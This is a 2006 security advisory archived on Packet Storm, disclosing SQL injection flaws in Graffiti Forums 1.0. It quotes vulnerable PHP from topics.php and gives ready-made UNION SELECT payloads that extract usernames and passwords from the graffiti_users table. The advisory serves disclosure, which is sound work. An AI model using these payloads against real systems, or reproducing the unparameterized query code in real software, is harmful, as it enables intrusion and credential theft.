exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

nst-24.txt

nst-24.txt
Posted Jul 12, 2006
Authored by Paisterist | Site neosecurityteam.net

Graffiti Forums version 1.0 suffers from SQL injection vulnerabilities.

tags | advisory, vulnerability, sql injection
SHA-256 | 56d2c26a4ca1a61cb85a700408c765487020b686942975869595f1d622bce15b

nst-24.txt

Change Mirror Download
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #24 - 08/07/06
--------------------------------------------------------
Program: Graffiti Forums
Homepage: http://www.bluedojo.com/
Vulnerable Versions: 1.0.
Risk: High!
Impact: Critical Risk

-==Graffiti Forums v1.0 SQL Injection Vulnerabilities==-
---------------------------------------------------------

- Description
---------------------------------------------------------
This forum uses PHP, MySQL, and Java and is very easy to install. It lets people draw pictures to a graffiti "wall" instead
of posting text messages as in traditional forums.

- Tested
---------------------------------------------------------
localhost

- Explotation
-------------------------------------------------ยบ--------

1)

Vulnerable code:

==[ topics.php 8-11 ]==========================
[...]
$sql = "SELECT forum FROM graffiti_forums WHERE id=$f";
$result = mysql_query($sql);
$sql_row = mysql_fetch_row($result);
$forum_title = $sql_row[0];
[...]
==[ end topics.php ]==========================

How we can see there's no protection for the using of simple quotes in the sql query. Also we have to say that the script
doesn't work with register_globals off.

In this way, we can put in the $f variable something like that
2 UNION SELECT password as forum FROM graffiti_users

So the sql query looks like this:

SELECT forum FROM graffiti_forums WHERE id=2 UNION SELECT password as forum FROM graffiti_users
´
Here, 2 is a valid forum id. Using some ORDER BY clauses you can get differents things... check it out.


2)
==[ topics.php 21-32 ]==========================
[...]
if (!$option){
$sql = "SELECT id, topic FROM graffiti_topics WHERE id_forum=" . $f;
if ($result = mysql_query($sql)){
echo("<center><table width=400 border=1>");
while ($sql_row = mysql_fetch_row($result)){
echo("<tr>");
echo("<td>");
$id = $sql_row[0];
$topic = $sql_row[1];
echo("<font face='Arial' size=3>");
echo("<img src='./graphics/paper.gif' border=0> &nbsp;<a href='messages.php?t=$id&f=$f'>$topic</a>");
echo("</font>");
[...]
==[ end topics.php ]==========================

In the SQL query of this code we can see the same bug. The explotation is very similar that the other:

topics.php?f=2 UNION SELECT password as topic, username as id FROM graffiti_users

The final sql query looks like this:

SELECT forum FROM graffiti_forums WHERE id=2 UNION SELECT password as topic, username as id FROM graffiti_users

Here, 2 is a valid forum id. Another time you can play with some ORDER BY or GROUP BY clauses.


Practically all the sql querys of this script are vulnerable to SQL Injections, so i'm not going to keep searching bugs on a
bugs cave.

Attention: the magic_quotes_gpc php flag has to be off (no filtering for slashes, simple quotes and double quotes). Also
remember that the script doesn't work without register_globals Off.


- How to fix it? More information?
--------------------------------------------------------
Visit our forum to know how to fix it or to get more information.
http://www.neosecurityteam.net/foro/

- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=24

- Credits
--------------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
m0rpheus

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close